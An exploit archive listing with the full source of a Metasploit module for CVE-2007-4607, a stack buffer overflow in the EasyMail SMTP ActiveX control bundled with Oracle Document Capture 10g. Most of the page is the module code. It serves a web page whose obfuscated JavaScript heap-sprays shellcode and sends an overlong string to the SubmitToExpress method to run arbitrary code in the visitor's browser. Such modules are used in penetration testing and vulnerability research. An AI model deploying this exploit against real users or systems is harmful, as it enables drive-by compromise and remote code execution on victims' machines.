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Oracle Document Capture 10g ActiveX Control Buffer Overflow

Oracle Document Capture 10g ActiveX Control Buffer Overflow
Posted Dec 31, 2009
Authored by MC | Site metasploit.com

This Metasploit module exploits a stack overflow in Oracle Document Capture 10g (10.1.3.5.0). Oracle Document Capture 10g comes bundled with a third party ActiveX control emsmtp.dll (6.0.1.0). When passing a overly long string to the method "SubmitToExpress" an attacker may be able to execute arbitrary code.

tags | exploit, overflow, arbitrary, activex
advisories | CVE-2007-4607
SHA-256 | 3681ea82f4e84abfe0cbea6f00e7b797da8c9e22f7fa045d832eda5a5371bd10

Oracle Document Capture 10g ActiveX Control Buffer Overflow

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###
## This file is part of the Metasploit Framework and may be subject to
## redistribution and commercial restrictions. Please see the Metasploit
## Framework web site for more information on licensing and terms of use.
## http://metasploit.com/framework/
###

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle Document Capture 10g ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in Oracle Document Capture 10g (10.1.3.5.0).
Oracle Document Capture 10g comes bundled with a third party ActiveX control
emsmtp.dll (6.0.1.0). When passing a overly long string to the method "SubmitToExpress"
an attacker may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision: 7724 $',
'References' =>
[
[ 'CVE', '2007-4607' ],
[ 'OSVDB', '38335' ],
[ 'BID', '25467' ],
[ 'US-CERT-VU', '281977' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
],
'DisclosureDate' => 'Aug 28 2009',
'DefaultTarget' => 0))

register_options(
[
OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
], self.class)
end

def autofilter
false
end

def check_dependencies
use_zlib
end

def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)

# fluff..
fluff = rand_text_english(rand(20) + 1)

# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

js = %Q|
try {
var evil_string = "";
var index;
var vulnerable = new ActiveXObject('EasyMail.SMTP.6');
var my_unescape = unescape;
var shellcode = '#{shellcode}';
#{js_heap_spray}
sprayHeap(my_unescape(shellcode), 0x0a0a0a0a, 0x40000);
for (index = 0; index < 12500; index++) {
evil_string = evil_string + my_unescape('%0a%0a%0a%0a');
}
vulnerable.SubmitToExpress(evil_string);
} catch( e ) { window.location = 'about:blank' ; }
|

opts = {
'Strings' => true,
'Symbols' => {
'Variables' => [
'vulnerable',
'shellcode',
'my_unescape',
'index',
'evil_string',
]
}
}
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
js.update_opts(js_heap_spray.opts)
js.obfuscate()
content = %Q|
<html>
<body>
<script><!--
#{js}
//</script>
</body>
</html>
|

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client
send_response_html(cli, content)

# Handle the payload
handler(cli)
end

end
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